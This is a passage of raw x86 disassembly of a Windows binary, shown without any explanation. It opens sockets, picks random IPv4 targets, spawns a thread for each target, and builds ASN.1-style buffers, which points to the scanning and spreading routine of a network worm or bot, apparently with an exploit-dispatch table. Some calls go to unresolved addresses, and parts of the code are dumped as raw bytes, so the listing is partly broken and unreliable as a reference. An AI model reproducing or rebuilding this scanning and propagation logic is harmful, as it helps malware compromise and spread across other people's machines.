cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_40C113
loc_40C101: ; CODE XREF: sub_40BD91+380j
cmp dword_4CDBD0, ebx
jnz short loc_40C12E
push 32h
nop
call near ptr 2680EF8h
jmp short loc_40C101
; ---------------------------------------------------------------------------
loc_40C113: ; CODE XREF: sub_40BD91+36Ej
call near ptr 269086Bh
nop
push eax
lea eax, [ebp+var_204]
push offset unk_431D38
push eax
call sub_41C266
add esp, 0Ch
loc_40C12E: ; CODE XREF: sub_40BD91+376j
lea eax, [ebp+var_204]
push eax
call sub_415D38
pop ecx
loc_40C13B: ; CODE XREF: sub_40BD91+2A8j
mov eax, [ebp+arg_130]
loc_40C141: ; CODE XREF: sub_40BD91+298j
shl eax, 6
cmp dword_431808[eax], ebx
jz loc_40C263
push 3
call sub_40B602
test eax, eax
pop ecx
jnz loc_40C263
mov esi, offset dword_4CE3B4
push 104h
push esi
push ebx
nop
call near ptr 2680000h
push 5Ch
push esi
call sub_41C820
pop ecx
cmp eax, ebx
pop ecx
jz short loc_40C182
mov [eax], bl
loc_40C182: ; CODE XREF: sub_40BD91+3EDj
mov eax, dword_42907C
mov dword_4CE4CC, ebx
mov dword_4CE4B8, eax
lea eax, [ebp+arg_10]
push eax
push offset dword_4CE12C
call sub_41C266
mov eax, [ebp+arg_110]
pop ecx
pop ecx
mov dword_4CE128, eax
mov ecx, [ebp+arg_138]
push esi
push dword_4CE4B8
mov dword_4CE4C4, ecx
mov ecx, [ebp+arg_13C]
push eax
mov dword_4CE4C8, ecx
call sub_40AA06
pop ecx
push eax
lea eax, [ebp+var_204]
push offset unk_42C18C
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_204]
push 3
push eax
call sub_40B3BA
add esp, 20h
mov dword_4CE4C0, eax
lea eax, [ebp+var_4]
push eax
push ebx
push offset dword_4CE128
push offset sub_40FAD6
push ebx
push ebx
call near ptr 2690000h
nop
mov ecx, dword_4CE4C0
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_40C23B
loc_40C229: ; CODE XREF: sub_40BD91+4A8j
cmp dword_4CE4D4, ebx
jnz short loc_40C256
push 32h
nop
call near ptr 2680EF8h
jmp short loc_40C229
; ---------------------------------------------------------------------------
loc_40C23B: ; CODE XREF: sub_40BD91+496j
nop
call near ptr 269086Bh
push eax
lea eax, [ebp+var_204]
push offset unk_431D04
push eax
call sub_41C266
add esp, 0Ch
loc_40C256: ; CODE XREF: sub_40BD91+49Ej
lea eax, [ebp+var_204]
push eax
call sub_415D38
pop ecx
loc_40C263: ; CODE XREF: sub_40BD91+14j
; sub_40BD91+25j ...
pop esi
pop ebx
leave
retn
sub_40BD91 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C267 proc near ; CODE XREF: sub_40C3E8:loc_40C459p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
push esi
push 4
lea esi, ds:4CBB20h[eax*8]
lea eax, [ebp+arg_0]
push esi
push eax
call sub_41CD20
add esp, 0Ch
push [ebp+arg_0]
call dword_4CB8FC
inc eax
push eax
mov [ebp+arg_0], eax
call dword_4CB9D0
mov [ebp+arg_0], eax
lea eax, [ebp+arg_0]
push 4
push eax
push esi
call sub_41CD20
mov eax, [esi]
add esp, 0Ch
pop esi
pop ebp
retn
sub_40C267 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C2AF proc near ; CODE XREF: sub_40C3E8+69p
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push esi
or esi, 0FFFFFFFFh
push [ebp+arg_0]
mov [ebp+var_C], esi
mov [ebp+var_8], esi
mov [ebp+var_4], esi
mov [ebp+var_10], esi
call sub_41B9C0
cmp eax, 0Fh
pop ecx
jbe short loc_40C2D7
xor eax, eax
jmp short loc_40C348
; ---------------------------------------------------------------------------
loc_40C2D7: ; CODE XREF: sub_40C2AF+22j
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_C]
push eax
push offset aD_D_D_D ; "%d.%d.%d.%d"
push [ebp+arg_0]
call sub_41CCE3
add esp, 18h
cmp [ebp+var_C], esi
jnz short loc_40C304
call sub_41C2C2
mov [ebp+var_C], eax
loc_40C304: ; CODE XREF: sub_40C2AF+4Bj
cmp [ebp+var_8], esi
jnz short loc_40C311
call sub_41C2C2
mov [ebp+var_8], eax
loc_40C311: ; CODE XREF: sub_40C2AF+58j
cmp [ebp+var_4], esi
jnz short loc_40C31E
call sub_41C2C2
mov [ebp+var_4], eax
loc_40C31E: ; CODE XREF: sub_40C2AF+65j
mov eax, [ebp+var_10]
cmp eax, esi
jnz short loc_40C32A
call sub_41C2C2
loc_40C32A: ; CODE XREF: sub_40C2AF+74j
shl eax, 8
add eax, [ebp+var_4]
mov ecx, [ebp+var_C]
shl eax, 8
add eax, [ebp+var_8]
shl eax, 8
add eax, ecx
mov ecx, [ebp+arg_4]
mov dword_4CBB20[ecx*8], eax
loc_40C348: ; CODE XREF: sub_40C2AF+26j
pop esi
leave
retn
sub_40C2AF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C34B proc near ; CODE XREF: ___:0040BBBEp
; sub_40C3E8+BBp ...
var_120 = dword ptr -120h
var_11C = dword ptr -11Ch
var_1C = word ptr -1Ch
var_1A = word ptr -1Ah
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 120h
push ebx
push esi
push edi
push 1
pop edi
xor ebx, ebx
push ebx
push edi
push 2
mov [ebp+var_4], edi
call dword_4CBA54
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_40C374
xor eax, eax
jmp short loc_40C3E3
; ---------------------------------------------------------------------------
loc_40C374: ; CODE XREF: sub_40C34B+23j
mov eax, [ebp+arg_0]
push [ebp+arg_4]
mov [ebp+var_1C], 2
mov [ebp+var_18], eax
call dword_4CB9D4
mov [ebp+var_1A], ax
lea eax, [ebp+var_4]
push eax
push 8004667Eh
push esi
call dword_4CBA70
lea eax, [ebp+var_1C]
push 10h
push eax
push esi
call dword_4CB97C
mov eax, [ebp+arg_8]
mov [ebp+var_8], ebx
mov [ebp+var_C], eax
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_120]
push ebx
push eax
push ebx
push ebx
mov [ebp+var_11C], esi
mov [ebp+var_120], edi
call dword_4CB9BC
push esi
mov edi, eax
call dword_4CBA6C
xor eax, eax
cmp edi, ebx
setnle al
loc_40C3E3: ; CODE XREF: sub_40C34B+27j
pop edi
pop esi
pop ebx
leave
retn
sub_40C34B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C3E8 proc near ; DATA XREF: sub_40C3E8+353o
var_29C = dword ptr -29Ch
var_28C = byte ptr -28Ch
var_20C = dword ptr -20Ch
var_208 = byte ptr -208h
var_1F8 = byte ptr -1F8h
var_1CC = byte ptr -1CCh
var_178 = byte ptr -178h
var_16C = dword ptr -16Ch
var_168 = dword ptr -168h
var_164 = dword ptr -164h
var_15C = dword ptr -15Ch
var_158 = dword ptr -158h
var_150 = byte ptr -150h
var_14C = byte ptr -14Ch
var_140 = byte ptr -140h
var_13C = byte ptr -13Ch
var_C0 = byte ptr -0C0h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 28Ch
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 53h
mov esi, eax
pop ecx
lea edi, [ebp+var_150]
rep movsd
mov esi, [ebp+var_2C]
mov dword ptr [eax+148h], 1
mov eax, [ebp+var_28]
mov [ebp+var_4], esi
mov [ebp+arg_0], eax
nop
call near ptr 26A07AFh
push eax
call sub_41C2B8
mov ebx, esi
pop ecx
imul ebx, 234h
loc_40C42F: ; CODE XREF: sub_40C3E8+204j
mov eax, dword_43E914[ebx]
cmp dword_4CBB24[eax*8], 0
jz loc_40C5F1
cmp [ebp+var_10], 0
push eax
jz short loc_40C459
lea eax, [ebp+var_150]
push eax
call sub_40C2AF
pop ecx
jmp short loc_40C45E
; ---------------------------------------------------------------------------
loc_40C459: ; CODE XREF: sub_40C3E8+60j
call sub_40C267
loc_40C45E: ; CODE XREF: sub_40C3E8+6Fj
pop ecx
mov edi, eax
push [ebp+arg_0]
push dword_43E914[ebx]
push [ebp+var_3C]
push edi
call dword_4CBA60
push eax
lea eax, [ebp+var_28C]
push offset unk_431E64
push eax
call sub_41C266
add esp, 18h
lea eax, [ebp+var_28C]
push eax
lea eax, dword_43E710[ebx]
push eax
call sub_41C266
push [ebp+var_38]
push [ebp+var_3C]
push edi
call sub_40C34B
add esp, 14h
cmp eax, 1
jnz loc_40C5E1
cmp [ebp+var_20], 0FFFFFFFFh
jnz short loc_40C535
push offset dword_4CDB20
nop
call near ptr 77F7E21Fh
push [ebp+var_3C]
push edi
call dword_4CBA60
push eax
lea eax, [ebp+var_28C]
push offset unk_431E3C
push eax
call sub_41C266
add esp, 10h
cmp [ebp+var_14], 0
jnz short loc_40C517
cmp [ebp+var_C0], 0
push 1
push [ebp+var_18]
lea eax, [ebp+var_28C]
push eax
lea eax, [ebp+var_C0]
jnz short loc_40C50B
lea eax, [ebp+var_140]
loc_40C50B: ; CODE XREF: sub_40C3E8+11Bj
push eax
push [ebp+var_40]
call sub_409869
add esp, 14h
loc_40C517: ; CODE XREF: sub_40C3E8+100j
lea eax, [ebp+var_28C]
push eax
call sub_415D38
mov [esp+29Ch+var_29C], offset dword_4CDB20
nop
call near ptr 77F7E300h
jmp loc_40C5E1
; ---------------------------------------------------------------------------
loc_40C535: ; CODE XREF: sub_40C3E8+D0j
push edi
call dword_4CBA60
push eax
lea eax, [ebp+var_208]
push eax
call sub_41C266
mov eax, [ebp+var_20]
pop ecx
shl eax, 6
pop ecx
add eax, offset aSym ; "sym"
push eax
lea eax, [ebp+var_178]
push eax
call sub_41C266
cmp [ebp+var_C0], 0
pop ecx
pop ecx
lea eax, [ebp+var_C0]
jnz short loc_40C57A
lea eax, [ebp+var_140]
loc_40C57A: ; CODE XREF: sub_40C3E8+18Aj
push eax
lea eax, [ebp+var_1F8]
push eax
call sub_41C266
mov eax, [ebp+var_40]
pop ecx
mov [ebp+var_20C], eax
mov eax, [ebp+var_18]
pop ecx
mov [ebp+var_15C], eax
mov eax, [ebp+var_14]
sub esp, 0BCh
mov [ebp+var_158], eax
mov eax, [ebp+var_3C]
push 2Fh
mov [ebp+var_16C], eax
mov eax, [ebp+var_20]
pop ecx
mov [ebp+var_168], esi
mov [ebp+var_164], eax
lea esi, [ebp+var_20C]
mov edi, esp
shl eax, 6
rep movsd
call off_4317FC[eax]
mov esi, [ebp+var_4]
add esp, 0BCh
loc_40C5E1: ; CODE XREF: sub_40C3E8+C6j
; sub_40C3E8+148j
push 7D0h
nop
call near ptr 2680EF8h
jmp loc_40C42F
; ---------------------------------------------------------------------------
loc_40C5F1: ; CODE XREF: sub_40C3E8+55j
push esi
call sub_40B6D6
pop ecx
push 0
nop
call near ptr 26F0A80h
loc_40C600: ; DATA XREF: sub_401ACD+1F2Ao
; sub_401ACD+5B7Ao
push ebp
mov ebp, esp
sub esp, 1CCh
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 53h
mov esi, eax
pop ecx
lea edi, [ebp+var_14C]
push 1
pop ebx
rep movsd
mov [eax+144h], ebx
lea eax, [ebp+var_14C]
push eax
call dword_4CBA14
mov ecx, [ebp+var_2C]
sub esp, 14Ch
lea esi, [ebp+var_14C]
push 53h
mov dword_4CBB20[ecx*8], eax
pop ecx
mov edi, esp
rep movsd
call sub_40BD91
push 0Bh
call sub_40B602
add esp, 150h
cmp eax, ebx
jnz short loc_40C6CE
mov esi, offset dword_4CDB20
push esi
call near ptr 27001AFh
nop
push 80000400h
push esi
nop
call near ptr 2700000h
test eax, eax
jnz short loc_40C6CE
lea eax, [ebp+var_1CC]
push offset unk_431F48
push eax
call sub_41C266
xor ebx, ebx
pop ecx
cmp [ebp+var_10], ebx
pop ecx
jnz short loc_40C6B8
push ebx
lea eax, [ebp+var_1CC]
push [ebp+var_14]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_3C]
call sub_409869
add esp, 14h
loc_40C6B8: ; CODE XREF: sub_40C3E8+2B1j
lea eax, [ebp+var_1CC]
push eax
call sub_415D38
pop ecx
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 4
; ---------------------------------------------------------------------------
loc_40C6CE: ; CODE XREF: sub_40C3E8+27Bj
; sub_40C3E8+297j
mov eax, [ebp+var_2C]
mov esi, dword_427080
mov edi, ebx
mov dword_4CBB24[eax*8], ebx
xor ebx, ebx
cmp [ebp+var_20], 1
jb loc_40C79B
loc_40C6EC: ; CODE XREF: sub_40C3E8+3ADj
push edi
lea eax, [ebp+var_14C]
push [ebp+var_2C]
mov [ebp+var_24], edi
push [ebp+var_38]
push eax
lea eax, [ebp+var_1CC]
push offset unk_431F14
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_1CC]
push 0Bh
push eax
call sub_40B3BA
mov [ebp+var_28], eax
imul eax, 234h
mov ecx, [ebp+var_2C]
add esp, 24h
mov dword_43E914[eax], ecx
lea eax, [ebp+var_14C]
push ebx
push ebx
push eax
push offset sub_40C3E8
push ebx
push ebx
call near ptr 2690000h
nop
mov ecx, [ebp+var_28]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_40C766
loc_40C75B: ; CODE XREF: sub_40C3E8+37Cj
cmp [ebp+var_4], ebx
jnz short loc_40C78D
push 1Eh
call esi
jmp short loc_40C75B
; ---------------------------------------------------------------------------
loc_40C766: ; CODE XREF: sub_40C3E8+371j
call near ptr 269086Bh
nop
push eax
lea eax, [ebp+var_1CC]
push offset unk_431EDC
push eax
call sub_41C266
lea eax, [ebp+var_1CC]
push eax
call sub_415D38
add esp, 10h
loc_40C78D: ; CODE XREF: sub_40C3E8+376j
push 1Eh
call esi
inc edi
cmp edi, [ebp+var_20]
jbe loc_40C6EC
loc_40C79B: ; CODE XREF: sub_40C3E8+2FEj
cmp [ebp+var_30], ebx
jz loc_40C845
mov eax, [ebp+var_30]
imul eax, 0EA60h
push eax
call esi
loc_40C7B0: ; CODE XREF: sub_40C3E8+468j
push [ebp+var_30]
mov eax, [ebp+var_2C]
push [ebp+var_38]
mov eax, dword_4CBB20[eax*8]
push eax
call dword_4CBA60
push eax
lea eax, [ebp+var_1CC]
push offset unk_431E9C
push eax
call sub_41C266
add esp, 14h
cmp [ebp+var_10], ebx
jnz short loc_40C7FE
push ebx
lea eax, [ebp+var_1CC]
push [ebp+var_14]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_3C]
call sub_409869
add esp, 14h
loc_40C7FE: ; CODE XREF: sub_40C3E8+3F7j
lea eax, [ebp+var_1CC]
push eax
call sub_415D38
mov eax, [ebp+var_2C]
mov [esp+29Ch+var_29C], 0BB8h
mov dword_4CBB24[eax*8], ebx
call esi
push 0Bh
call sub_40B602
cmp eax, 1
pop ecx
jnz short loc_40C835
push offset dword_4CDB20
nop
call near ptr 27001AFh
loc_40C835: ; CODE XREF: sub_40C3E8+440j
push [ebp+var_2C]
call sub_40B6D6
pop ecx
push ebx
nop
call near ptr 26F0A80h
loc_40C845: ; CODE XREF: sub_40C3E8+3B6j
; sub_40C3E8+475j
mov eax, [ebp+var_2C]
cmp dword_4CBB24[eax*8], 1
jnz loc_40C7B0
push 7D0h
call esi
jmp short loc_40C845
sub_40C3E8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C85F proc near
var_BC = dword ptr -0BCh
var_B8 = byte ptr -0B8h
var_38 = dword ptr -38h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_20 = dword ptr -20h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0BCh
mov eax, [ebp+arg_0]
push esi
push edi
push 2Bh
pop ecx
mov esi, eax
lea edi, [ebp+var_BC]
push 1
rep movsd
pop esi
mov [eax+0A8h], esi
push 10h
lea eax, [ebp+var_10]
push 0
push eax
call sub_41BF70
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+var_38]
call dword_4CB9D4
mov [ebp+var_E], ax
mov eax, [ebp+var_28]
push 6
push esi
push 2
mov [ebp+var_C], eax
call dword_4CBA54
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_40C91D
lea eax, [ebp+var_10]
push 10h
push eax
push esi
call dword_4CB97C
mov ecx, [ebp+var_2C]
imul ecx, 234h
cmp eax, 0FFFFFFFFh
mov dword_43E91C[ecx], esi
jz short loc_40C91D
push [ebp+var_38]
push [ebp+var_28]
call dword_4CBA60
push eax
mov edi, offset dword_4CE4E4
push offset dword_431F7C
push edi
call sub_41C266
push 0
lea eax, [ebp+var_B8]
push [ebp+var_20]
push edi
push eax
push [ebp+var_BC]
call sub_409869
push edi
call sub_415D38
add esp, 28h
loc_40C91D: ; CODE XREF: sub_40C85F+5Dj
; sub_40C85F+7Ej
push esi
call dword_4CBA6C
pop edi
xor eax, eax
pop esi
leave
retn 4
sub_40C85F endp
; ---------------------------------------------------------------------------
dword_40C92C dd 81EC8B55h, 134ECh, 5D8B5300h, 6A575608h, 59F38B2Bh
; DATA XREF: sub_401ACD+5F60o
dd 0FF4CBD8Dh, 0A5F3FFFFh, 7080358Bh, 83C70042h, 0A4h
dd 1, 75FFFF33h, 0E075FFD0h, 0BA6015FFh, 8D50004Ch, 0FFFECC85h
dd 1FA468FFh, 0E8500043h, 0F8EEh, 0FECC858Dh, 0FF68FFFFh
dd 50000001h, 69DC458Bh, 234C0h, 0E7100500h, 0E8500043h
dd 0F638h, 8D1CC483h, 8D50F845h, 0FFFF4C85h, 685057FFh
dd 40C85Fh, 4DE85757h, 90022836h, 4589C73Bh, 390B74FCh
dd 675F47Dh, 0D6FF326Ah, 75FFF5EBh, 3DA2E8FCh, 0FF900226h
dd 8CB3h, 0A8BB8900h, 0FF000000h, 0E0458DD6h, 8D50046Ah
dd 0E8500845h, 10334h, 0FF0CC483h, 15FF0875h, 4CB8FCh
dd 45895040h, 0D015FF08h, 89004CB9h, 458D0845h, 50046A08h
dd 50E0458Dh, 1030BE8h, 0CC48300h, 0FFFF3DE9h
db 0FFh
byte_40CA1D db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+5C80o
dd 130EC81h, 8B530000h, 5756085Dh, 0F38B2B6Ah, 50BD8D59h
dd 0F3FFFFFFh, 80358BA5h, 0C7004270h, 0A483h, 100h, 0FFFF3300h
dd 75FFD475h, 6015FFE4h, 50004CBAh, 0FED0858Dh, 0F868FFFFh
dd 5000431Fh, 0F7FDE8h, 0D0858D00h, 68FFFFFEh, 1FFh, 0E0458B50h
dd 234C069h, 10050000h, 500043E7h, 0F547E8h, 1CC48300h
dd 50FC458Dh, 0FF50858Dh, 5057FFFFh, 40C85F68h, 0E8575700h
dd 228355Ch, 89C73B90h, 0B740845h, 75F87D39h, 0FF326A06h
dd 0FFF5EBD6h, 0E8900875h, 2263CB0h, 8CB3FFh, 0BB890000h
dd 0A8h, 458BD6FFh, 0D8453BD4h, 45FF0874h, 0FF6DE9D4h
dd 75FFFFFFh, 6015FFE4h, 50004CBAh, 0FED0858Dh, 0CC68FFFFh
dd 5000431Fh, 0F76DE8h, 858D5700h, 0FFFFFED0h, 50EC75FFh
dd 0FF54858Dh, 0FF50FFFFh, 0FFFF50B5h, 0CD53E8FFh, 75FFFFFFh
dd 0EBB8E8E0h, 0C483FFFFh, 5FC03324h, 0C2C95B5Eh
db 4, 0
; =============== S U B R O U T I N E =======================================
sub_40CB2A proc near ; CODE XREF: sub_40CD9E+Ep
; sub_40CD9E+33p ...
mov eax, ecx
and dword ptr [eax+4], 0
and dword ptr [eax], 0
retn
sub_40CB2A endp
; =============== S U B R O U T I N E =======================================
sub_40CB34 proc near ; CODE XREF: sub_40CD9E+11Ep
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
mov ebx, [esp+4+arg_4]
push esi
push edi
mov esi, ecx
push ebx
call sub_41BEB5
mov edi, eax
pop ecx
test edi, edi
jz short loc_40CB66
push ebx
push 0
push edi
call sub_41BF70
push ebx
push [esp+1Ch+arg_0]
push edi
call sub_41CD20
add esp, 18h
mov [esi+4], ebx
mov [esi], edi
loc_40CB66: ; CODE XREF: sub_40CB34+14j
mov eax, esi
pop edi
pop esi
pop ebx
retn 8
sub_40CB34 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CB6E proc near ; CODE XREF: sub_40CC68+18p
; sub_40CCE2+16p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
mov eax, [ebp+arg_4]
push ebx
mov ebx, ecx
push esi
mov ecx, [ebp+arg_C]
push edi
lea edi, [eax+ecx]
push edi
call sub_41BEB5
mov esi, eax
pop ecx
test esi, esi
jz short loc_40CBBA
push edi
push 0
push esi
call sub_41BF70
push [ebp+arg_4]
push [ebp+arg_0]
push esi
call sub_41CD20
push [ebp+arg_C]
mov eax, [ebp+arg_4]
add eax, esi
push [ebp+arg_8]
push eax
call sub_41CD20
add esp, 24h
mov [ebx+4], edi
mov [ebx], esi
loc_40CBBA: ; CODE XREF: sub_40CB6E+1Cj
pop edi
mov eax, ebx
pop esi
pop ebx
pop ebp
retn 10h
sub_40CB6E endp
; =============== S U B R O U T I N E =======================================
sub_40CBC3 proc near ; CODE XREF: sub_40CC68+5Ep
; sub_40CC68+6Fp ...
push esi
mov esi, ecx
mov eax, [esi]
test eax, eax
jz short loc_40CBD3
push eax
call sub_41BA91
pop ecx
loc_40CBD3: ; CODE XREF: sub_40CBC3+7j
and dword ptr [esi+4], 0
and dword ptr [esi], 0
pop esi
retn
sub_40CBC3 endp
; =============== S U B R O U T I N E =======================================
sub_40CBDC proc near ; CODE XREF: sub_40CC68+20p
; sub_40CD43+8p ...
push ebx
push esi
mov esi, ecx
push edi
mov eax, [esi+4]
cmp eax, 0FFFFh
jge short loc_40CC09
xor ebx, ebx
cmp eax, 7Fh
setnl bl
dec ebx
and ebx, 0FFFFFFFEh
add ebx, 3
add eax, ebx
push eax
call sub_41BEB5
mov edi, eax
pop ecx
test edi, edi
jnz short loc_40CC0D
loc_40CC09: ; CODE XREF: sub_40CBDC+Dj
xor al, al
jmp short loc_40CC64
; ---------------------------------------------------------------------------
loc_40CC0D: ; CODE XREF: sub_40CBDC+2Bj
mov eax, ebx
add eax, [esi+4]
push eax
push 0
push edi
call sub_41BF70
add esp, 0Ch
cmp ebx, 1
jnz short loc_40CC32
mov al, [esi+4]
mov [edi], al
push dword ptr [esi+4]
lea eax, [edi+1]
push dword ptr [esi]
jmp short loc_40CC4C
; ---------------------------------------------------------------------------
loc_40CC32: ; CODE XREF: sub_40CBDC+45j
mov byte ptr [edi], 82h
mov eax, [esi+4]
sar eax, 8
mov [edi+1], al
mov al, [esi+4]
mov [edi+2], al
push dword ptr [esi+4]
lea eax, [edi+3]
push dword ptr [esi]
loc_40CC4C: ; CODE XREF: sub_40CBDC+54j
push eax
call sub_41CD20
add esp, 0Ch
push dword ptr [esi]
call sub_41BA91
add [esi+4], ebx
pop ecx
mov [esi], edi
mov al, 1
loc_40CC64: ; CODE XREF: sub_40CBDC+2Fj
pop edi
pop esi
pop ebx
retn
sub_40CBDC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CC68 proc near ; CODE XREF: sub_40CD9E+89p
; sub_40CD9E+E3p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, ecx
push edi
lea ecx, [ebp+var_8]
push dword ptr [esi+4]
push dword ptr [esi]
push 1
push offset word_4CB88C
call sub_40CB6E
lea ecx, [ebp+var_8]
call sub_40CBDC
mov eax, [ebp+var_4]
inc eax
push eax
call sub_41BEB5
mov edi, eax
pop ecx
test edi, edi
jnz short loc_40CCA2
xor al, al
jmp short loc_40CCDE
; ---------------------------------------------------------------------------
loc_40CCA2: ; CODE XREF: sub_40CC68+34j
mov eax, [ebp+var_4]
inc eax
push eax
push 0
push edi
call sub_41BF70
mov byte ptr [edi], 3
push [ebp+var_4]
lea eax, [edi+1]
push [ebp+var_8]
push eax
call sub_41CD20
add esp, 18h
mov ecx, esi
call sub_40CBC3
mov eax, [ebp+var_4]
lea ecx, [ebp+var_8]
inc eax
mov [esi], edi
mov [esi+4], eax
call sub_40CBC3
mov al, 1
loc_40CCDE: ; CODE XREF: sub_40CC68+38j
pop edi
pop esi
leave
retn
sub_40CC68 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CCE2 proc near ; CODE XREF: sub_40CD16+14p
; sub_40CD33+8p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, ecx
push [ebp+arg_4]
lea ecx, [ebp+var_8]
push [ebp+arg_0]
push dword ptr [esi+4]
push dword ptr [esi]
call sub_40CB6E
mov ecx, esi
call sub_40CBC3
mov eax, [ebp+var_8]
mov [esi], eax
mov eax, [ebp+var_4]
mov [esi+4], eax
mov al, 1
pop esi
leave
retn 8
sub_40CCE2 endp
; =============== S U B R O U T I N E =======================================
sub_40CD16 proc near ; CODE XREF: sub_40CD9E+F0p
; sub_40CD9E+15Bp ...
arg_0 = dword ptr 4
push esi
mov esi, ecx
push [esp+4+arg_0]
call sub_41B9C0
pop ecx
push eax
mov ecx, esi
push [esp+8+arg_0]
call sub_40CCE2
pop esi
retn 4
sub_40CD16 endp
; =============== S U B R O U T I N E =======================================
sub_40CD33 proc near ; CODE XREF: sub_40CD7F+Bp
; sub_40CD9E+1A1p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
push [esp+4+arg_0]
call sub_40CCE2
retn 8
sub_40CD33 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CD43 proc near ; CODE XREF: sub_40CD7F+16p
; sub_40CD9E+91p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, ecx
call sub_40CBDC
test al, al
jz short loc_40CD7C
push dword ptr [esi+4]
lea ecx, [ebp+var_8]
push dword ptr [esi]
push 1
push offset dword_42CC80
call sub_40CB6E
mov ecx, esi
call sub_40CBC3
mov eax, [ebp+var_8]
mov [esi], eax
mov eax, [ebp+var_4]
mov [esi+4], eax
mov al, 1
loc_40CD7C: ; CODE XREF: sub_40CD43+Fj
pop esi
leave
retn
sub_40CD43 endp
; =============== S U B R O U T I N E =======================================
sub_40CD7F proc near ; CODE XREF: sub_40CD9E+134p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, ecx
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_40CD33
test al, al
jz short loc_40CD9A
mov ecx, esi
call sub_40CD43
loc_40CD9A: ; CODE XREF: sub_40CD7F+12j
pop esi
retn 8
sub_40CD7F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CD9E proc near ; CODE XREF: ___:0040D625p
var_858 = byte ptr -858h
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 858h
push ebx
push edi
lea ecx, [ebp+var_48]
call sub_40CB2A
mov edi, 408h
cmp [ebp+arg_8], edi
jg loc_40D0F2
mov ebx, [ebp+arg_10]
lea eax, [ebx+8]
cmp eax, edi
ja loc_40D0F2
push esi
lea ecx, [ebp+var_30]
call sub_40CB2A
lea ecx, [ebp+var_20]
call sub_40CB2A
lea ecx, [ebp+var_50]
call sub_40CB2A
lea ecx, [ebp+var_18]
call sub_40CB2A
lea ecx, [ebp+var_40]
call sub_40CB2A
lea ecx, [ebp+var_38]
call sub_40CB2A
lea ecx, [ebp+var_28]
call sub_40CB2A
push 4
push offset dword_432030
lea ecx, [ebp+var_30]
call sub_40CCE2
push 3
push offset dword_432038
lea ecx, [ebp+var_30]
call sub_40CCE2
lea ecx, [ebp+var_30]
call sub_40CC68
lea ecx, [ebp+var_30]
call sub_40CD43
mov esi, 800h
